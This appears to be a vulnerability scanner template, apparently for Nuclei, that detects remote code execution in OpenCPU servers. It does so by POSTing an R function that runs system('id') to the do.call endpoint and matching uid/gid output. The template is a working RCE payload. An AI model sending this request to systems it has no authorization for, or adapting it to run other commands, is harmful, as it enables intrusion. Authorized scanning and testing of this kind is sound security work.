43 lines
844 B
YAML
43 lines
844 B
YAML
id: opencpu-rce
|
|
|
|
info:
|
|
name: OpenCPU RCE
|
|
author: wa1tf0rme
|
|
severity: critical
|
|
description: |
|
|
Checks for RCE in OpenCPU instance
|
|
reference:
|
|
- https://pulsesecurity.co.nz/articles/R-Shells
|
|
- https://github.com/opencpu/opencpu/
|
|
tags: rce,opencpu,oss
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/ocpu/library/base/R/do.call/json"
|
|
|
|
body: |
|
|
what=function(x){ return(system(paste('id'), intern %3d T))}&args={}
|
|
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
max-redirects: 2
|
|
redirects: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- uid=
|
|
- gid=
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
|
|
extractors:
|
|
- type: regex
|
|
group: 1
|
|
regex:
|
|
- \(([a-z-]+)\) |